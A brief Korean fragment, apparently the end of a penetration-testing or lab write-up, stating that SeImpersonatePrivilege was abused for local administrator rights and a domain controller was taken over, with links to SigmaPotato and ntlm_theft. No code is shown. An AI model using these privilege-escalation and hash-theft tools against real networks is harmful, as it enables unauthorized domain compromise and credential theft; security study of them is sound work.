SeImpersonatePrivilege권한 악용하여 로컬 관리자 권한 획득 - [12] 도메인 컨트롤러 장악 완료
Reference
-
- SeImpersonatePrivilege 권한 악용 (https://github.com/tylerdotrar/SigmaPotato)
-
- NetNTLMv2 해시 탈취 (https://github.com/Greenwolf/ntlm_theft)